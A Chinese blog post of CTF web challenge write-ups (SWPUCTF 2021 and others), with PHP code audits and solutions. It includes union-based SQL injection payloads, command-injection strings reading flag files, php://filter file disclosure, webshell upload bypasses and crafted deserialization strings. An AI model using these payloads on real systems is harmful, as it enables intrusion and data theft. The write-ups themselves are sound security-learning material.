NSS刷题

news2024/9/28 11:22:39

[SWPUCTF 2021 新生赛]jicao

类型：PHP、代码审计、RCE

主要知识点：json_decode()函数

json_decode()：对JSON字符串解码，转换为php变量

用法：

<?php
$json = {"ctf":"web","question":18};
​
var_dump(json_decode($json));
var_dump(json_decode($json, true));
?>

代码审计：

<?php
highlight_file('index.php');
include("flag.php"); //包含一个php文件里面可能有一个$flag对象值为flag
$id=$_POST['id']; //发送一个POST请求，传入一个参数id，定义为对象$id
$json=json_decode($_GET['json'],true); 
//发送一个GET请求，传入一个参数json；
//true将解析结果以数组形式返回；
//将解析的数组赋值给变量$json
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
//当id==wllmNB及$json进行JSON解码后的x的关联值为wllm时，输出$flag的值
?>

结果：

[SWPUCTF 2021 新生赛]easy_md5

类型：弱比较、PHP、数组绕过

主要知识点：md5弱比较、数组绕过

代码审计：

<?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name']; //获取GET请求中的'name'参数值，并赋值给对象$name
    $password = $_POST['password']; //获取POST请求中的'password'参数值，并赋值给对象$password
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    //如果$name的值不等于$password的值，且$name的md5值等于$password的md5值，输出$flag的值
    else {
        echo "wrong!";
    }
    //条件不满足输出"wrong!"
 
}
else {
    echo 'wrong!';
}
//如果未提供'name'或'password'参数，输出"wrong!"
?>

特殊字符串

某些特殊的字符串，加密后得到的密文以0e开头，PHP会当作科学计数法来处理，也就是0的n次方，得到的值比较的时候都相同。此时就是值不同但md5或sha1值相同

常见的密文以0e开头的字符串

md5：
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
 
 
sha1：
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

数组绕过

md5()，sha1()函数无法处理数组，如果传入的为数组，会返回NULL，两个数组经过加密后得到的都是NULL，也就是相等的。故传入两个不同的数组经md5()加密会返回为NULL

 [SWPUCTF 2021 新生赛]include

类型：PHP伪协议、文件包含、PHP

主要知识点：php://filter伪协议

发现并没有上传文件的地方

尝试用php://filter伪协议过滤一下flag.php文件（一般flag都在flag.php中）

条件：

只需要读取，allow_url_fopen=on；allow_url_include=off

用法：

?file=php://fileter/read=<过滤器名称>/resource=<要过滤的文件（数据流）>

补充：

php://filter是一种元封装器：设计用于"数据流打开”时的"筛选过滤”应用，对本地磁盘文件进行读写，输出base64加密后的信息

convert.base64-encode：转换过滤器，用于过滤base64编码

扩展：

allow_url_fopen：配置选项，默认开启，决定了PHP 是否能够通过URL（而不是本地文件路径）来打开文件，为on时,fopen()和file_get_contents()等与文件操作相关的函数可以读取和写入远程文件

allow_url_include：配置选项，默认关闭，为on时，PHP 允许通过 URL 的形式，从远程服务器包含和执行PHP 文件

进入到 flag.php页面，发现一串base64编码，解码后即为flag

[SWPUCTF 2021 新生赛]easy_sql 

类型：SQL注入

主要知识点：union联合注入

先用?id=1'尝试发现没变化这时发现网站标题叫“参数是wllm”，所以用?wllm=1'尝试，回显成功

用?wllm=1\判断闭合方式，发现是单引号注入

用union联合注入尝试

?wllm=-1' union select 1,2,3--+

 回显成功

查询库

?wllm=-1' union select 1,2,database()--+

爆表

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

爆列

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

查看flag

?wllm=-1' union select 1,2,group_concat(flag) from test_tb--+

[SWPUCTF 2021 新生赛]easyrce

类型：RCE、PHP

主要知识点：RCE

直接?url=system("ls");

 发现回显index.php文件，查看其目录?url=system("ls /");

发现目录中有疑似flag的内容，用?url=system("cat /flllllaaaaaaggggggg");查看

[第五空间 2021]WebFTP

类型：目录扫描、信息收集、.git泄露

主要知识点：dirsearch的使用

用bp抓包尝试爆破但发现需要还需要验证码爆破难度大所以应该不是弱口令爆破

用dirsearch扫描发现git泄露

进入查看

找了一圈没发现flag

重新看扫描结果发现有个phpinfo.php页面，进入ctrl+f搜索flag，得到flag

[SWPUCTF 2021 新生赛]babyrce

类型：空格绕过、RCE、Cookie注入

主要知识点：Cookie注入、shell_exec()绕过

修改cookie值为admin=1得到rasalghul.php文件

 进入查看

代码审计：

 <?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  //正则匹配空格被禁用
  $a = shell_exec($ip);
  //shell_exec()将命令的输出作为字符串返回，而不是打印到标准输出。
  echo $a;
}
?>

将flag放入1.txt文件中，访问1.txt文件即可得到flag（但这题直接cat%09/f*就可以出来了不需要再访问1.txt文件）

[SWPUCTF 2021 新生赛]ez_unserialize

类型：反序列化、PHP

主要知识点：构造pop链

用御剑扫描

进入网页，发现一个php文件

访问

代码审计：

 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;    //目标
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

构造pop链，打开phpstorm

<?php

class wllm{

    public $admin;
    public $passwd;

//    public function __construct(){
//        $this->admin ="user";
//        $this->passwd = "123456";
//    }
//
//    public function __destruct(){
//        if($this->admin === "admin" && $this->passwd === "ctf"){
//            include("flag.php");
//            echo $flag;
//        }else{
//            echo $this->admin;
//            echo $this->passwd;
//            echo "Just a bit more!";
//        }
//    }
}

//$p = $_GET['p'];
//unserialize($p);

$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
echo serialize($w);
?>

输入/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}得到flag

[SWPUCTF 2021 新生赛]easyupload2.0

类型：文件上传、文件头绕过

主要知识点：不常用的php可执行文件后缀

 

需要提交jpg文件

用bp抓包 ，修改后缀，尝试双写绕过不可行，用其他php可执行文件的扩展名pht、phtml

用蚁剑连接，成功绕过

打开找flag

 

[SWPUCTF 2021 新生赛]easyupload1.0 

类型：文件上传、MIME绕过、文件头绕过

主要知识点：前端绕过

需要提交jpg文件

用bp抓包修改后缀

连接蚁剑

打开找flag

 但是发现这个flag是错误的

用phpinfo查看php服务器的配置信息

ctrl+f搜索flag

 或者直接用蚁剑打开终端用env命令查看环境变量也可以发现flag

 

[SWPUCTF 2021 新生赛]no_wakeup

类型：反序列化、PHP

主要知识点：构造pop链、绕过_wakeup()

点进去查看

代码审计

 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }    //反序列化之前触发wakeup，给passwd赋值，导致passwd不等于wllm

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;    //目标
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

构造pop链

<?php
class HaHaHa{

    public $admin;
    public $passwd;

//    public function __construct(){
//        $this->admin ="user";
//        $this->passwd = "123456";
//    }
//    public function __wakeup(){
//        $this->passwd = sha1($this->passwd);
//    }
//
//    public function __destruct(){
//        if($this->admin === "admin" && $this->passwd === "wllm"){
//            include("flag.php");
//            echo $flag;
//        }else{
//            echo $this->passwd;
//            echo "No wake up";
//        }
//    }
}
//
//$Letmeseesee = $_GET['p'];
//unserialize($Letmeseesee);

$h=new HaHaHa();
$h->admin="admin";
$h->passwd="wllm";
echo serialize($h);
?>

由于_wakeup()函数将wllm加密导致执行echo $this->passwd;echo  "No wake up";

故需要绕过_wakeup()，变量数量大于真实的变量数量即可绕过_wakeup()的执行

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1663197.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

2024年数维杯B题完整代码和思路论文讲解与分析

2024年数维杯B题完整代码和思路论文讲解与分析

2024数维杯数学建模完整代码和成品论文已更新&#xff0c;获取↓↓↓↓↓ https://www.yuque.com/u42168770/qv6z0d/bgic2nbxs2h41pvt?singleDoc# 2024数维杯数学建模B题45页论文和代码已完成&#xff0c;代码为全部问题的代码 论文包括摘要、问题重述、问题分析、模型假设、…
阅读更多...
怎么让电脑耳机和音响都有声音

怎么让电脑耳机和音响都有声音

电脑耳机音响不能同时用没声音怎么办 一般来说&#xff0c;重新开机后问题能够得到解决。右击“我的电脑”---“属性”---“硬件”---“设备管理器”&#xff0c;打开“声音、视频和游戏控制器”有无问题&#xff0c;即看前面有没有出现黄色的“”。 如果您的 电脑 耳机能正常…
阅读更多...
SQL注入（sqli-labs第一关）

SQL注入（sqli-labs第一关）

sqli-labs第一关 方法一&#xff1a;手工注入 来到第一关&#xff0c;图上说我们需要一个数字的参数 于是我们先手工注入?id1 and 11 跟?id1 and 12发现页面没有报错 每张截图上面页面中有select查询语句&#xff0c;这是我在第一关的源码中加上了echo "$sql ";…
阅读更多...
基于UDP协议Python通信网络程序（服务器端+客户端）及通信协议在自动驾驶场景应用示例

基于UDP协议Python通信网络程序（服务器端+客户端）及通信协议在自动驾驶场景应用示例

一、UDP协议 UDP&#xff08;用户数据报协议&#xff09;是一种无连接的传输层协议&#xff0c;具有简单、高效的特点&#xff0c;适用于一些对数据可靠性要求不高的应用场景。UDP的主要特点包括无连接、不可靠和面向数据报。这意味着在发送数据之前不需要建立连接&#xff0c…
阅读更多...
【Spring之依赖注入】2. Spring处理@Async导致的循环依赖失败问题

【Spring之依赖注入】2. Spring处理@Async导致的循环依赖失败问题

使用异步Async注解后导致的循环依赖失败详解 1 问题复现1.1 配置类1.2 定义Service1.3 定义Controller1.4 启动springboot报错 2.原因分析&#xff1a;看Async标记的bean注入时机2.1 循环依赖生成过程2.2 自检程序 doCreateBean方法 3.解决方案3.1 懒加载Lazy3.1.1 将Lazy写到A…
阅读更多...
根据部门id删除该部门下的员工(事务）

根据部门id删除该部门下的员工(事务）

application.properties&#xff1a; 或&#xff1a; application.yml&#xff1a; 新表&#xff1a; 日志对象类&#xff1a; 日志service类&#xff1a; 日志service接口&#xff1a; 日志mapper类&#xff1a; 部门service类&#xff1a; 员工mapper类&#xff1a;
阅读更多...
某大型集团SAP数字化转型方案（95页PPT）

某大型集团SAP数字化转型方案（95页PPT）

一、资料介绍 《某大型集团SAP数字化转型方案》是一份详尽的95页PPT资料&#xff0c;旨在为某大型集团提供一套全面而深入的SAP数字化转型方案。该方案紧密结合了集团的业务特点和发展需求&#xff0c;以SAP系统为核心&#xff0c;通过数字化技术的运用&#xff0c;实现业务流…
阅读更多...
【redis】Redis五种常用数据类型和内部编码,以及对String字符串类型的总结

【redis】Redis五种常用数据类型和内部编码,以及对String字符串类型的总结

˃͈꒵˂͈꒱ write in front ꒰˃͈꒵˂͈꒱ ʕ̯•͡˔•̯᷅ʔ大家好&#xff0c;我是xiaoxie.希望你看完之后,有不足之处请多多谅解&#xff0c;让我们一起共同进步૮₍❀ᴗ͈ . ᴗ͈ აxiaoxieʕ̯•͡˔•̯᷅ʔ—CSDN博客 本文由xiaoxieʕ̯•͡˔•̯᷅ʔ 原创 CSDN 如…
阅读更多...
ESP32引脚入门指南(七）：从理论到实践(IIC)

ESP32引脚入门指南(七）：从理论到实践(IIC)

引言 IIC&#xff08;Inter-Integrated Circuit&#xff09;&#xff0c;又称为IC&#xff0c;是一种简单而高效的多主控器串行通信协议&#xff0c;常用于微控制器和各种外围设备之间的通信。在ESP32系列芯片中&#xff0c;IIC协议被广泛应用于连接各种传感器、存储器和其他支…
阅读更多...
计算机网络实验1：交换机基本配置管理

计算机网络实验1：交换机基本配置管理

实验目的和要求 安装Packer Tracer&#xff0c;了解Packer Tracer的基本操作掌握交换机基本命令集实验项目内容 认识Packet Tracer软件 交换机的基本配置与管理 交换机的端口配置与管理 交换机的端口聚合配置 交换机划分Vlan配置 实验环境 硬件&#xff1a;PC机&#x…
阅读更多...
HTML5 + CSS3实现卖茶女与水果男的巅峰微信聊天对决，看完后笑一整天

HTML5 + CSS3实现卖茶女与水果男的巅峰微信聊天对决，看完后笑一整天

记得之前看过一段卖茶女与水果男的聊天视频&#xff0c;当时觉得真有意思&#xff0c;竟然还可以这样热爱自己的事业。我就想&#xff0c;用HTML5 CSS3实现一下这个过程&#xff0c;锻炼了技术&#xff0c;也娱乐了开发人员&#xff0c;多有意思的一件事啊。 目录 1 实现思路…
阅读更多...
Dbeaver连接一段时间不操作后断开的问题

Dbeaver连接一段时间不操作后断开的问题

右键数据库连接点击编辑连接点击初始化将连接保持改成60s
阅读更多...
杰理AC632N 通过写flash修改蓝牙名字

杰理AC632N 通过写flash修改蓝牙名字

杰理修改蓝牙名字一般有他自己的一个工具的,如下图,在编译前修改 现在用写flash的方式更改: 主要看杰理CFG_BT_NAME这个宏里面的.c文件 杰理给这里的flash都定义好每个宏的信息,你需要读写就行,修改后记得重启上电才能生效.如果你要自定义数据写进去flash断电不丢失,估计就是在…
阅读更多...
智慧公厕的技术基础、保障技术和应用价值

智慧公厕的技术基础、保障技术和应用价值

近年来&#xff0c;随着信息技术的快速发展&#xff0c;智慧公厕逐渐成为城市管理的热点项目。智慧公厕利用物联网技术与大数据、云计算、网络通信、自动化控制等先进技术相结合&#xff0c;公共厕所的管理变得更加快捷高效&#xff0c;实现了真正的智能化使用和智慧化管理。下…
阅读更多...
盘点自动驾驶的技术发展趋势

盘点自动驾驶的技术发展趋势

自动驾驶技术在不断发展变快&#xff0c;我们之前提过算法岗如今越来越卷&#xff0c;从今年的就业局势看&#xff0c;前年还属于蓝海行业的自动驾驶&#xff0c;今年就已经满满关上了招揽之门——呈红海之势。作为在这个行业中摸爬滚打的一以子&#xff0c;我们到底该如何纵观…
阅读更多...
Goland GC

Goland GC

Goland GC 引用Go 1.3 mark and sweep 标记法Go 1.5 三色标记法屏障机制插入屏障删除写屏障总结 Go 1.8 混合写屏障(hybrid write barrier)机制总结 引用 https://zhuanlan.zhihu.com/p/675127867 Garbage Collection&#xff0c;缩写为GC&#xff0c;一种内存管理回收的机制…
阅读更多...
ABAP 直连sqlserver或oracle数据库

ABAP 直连sqlserver或oracle数据库

1、事务码DBCO,配置链接 2、测试链接&#xff1a;sm38 执行ADBC_TEST_CONNECTION 3、运行时会报驱动找不到的错误&#xff0c;解决方法&#xff1a; S4 HANA连接其他数据库&#xff08;oracle,sqlserver)
阅读更多...
代码审计平台sonarqube的安装及使用

代码审计平台sonarqube的安装及使用

docker搭建代码审计平台sonarqube 一、代码审计关注的质量指标二、静态分析技术分类三、使用sonarqube的目的四、sonarqube流程五、docker快速搭建sonarqube六、sonarqube scanner的安装和使用七、sonarqube对maven项目进行分析八、sonarqube分析报告解析九、代码扫描规则定制十…
阅读更多...
mysql--join

mysql--join

Join 两个表都有一个主键索引 id 和一个索引 a&#xff0c;字段 b 上无索引&#xff0c;表 t2 里插入了 1000 行数据&#xff0c;在表 t1 里插入的是 100 行数据 CREATE TABLE t2 (id int(11) NOT NULL,a int(11) DEFAULT NULL,b int(11) DEFAULT NULL,PRIMARY KEY (id),KEY …
阅读更多...
图机器学习入门：基本概念介绍

图机器学习入门：基本概念介绍

图机器学习&#xff08;Graph Machine Learning&#xff0c;简称Graph ML&#xff09;是机器学习的一个分支&#xff0c;专注于利用图形结构的数据。在图形结构中&#xff0c;数据以图的形式表示&#xff0c;其中的节点&#xff08;或顶点&#xff09;表示实体&#xff0c;边&a…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023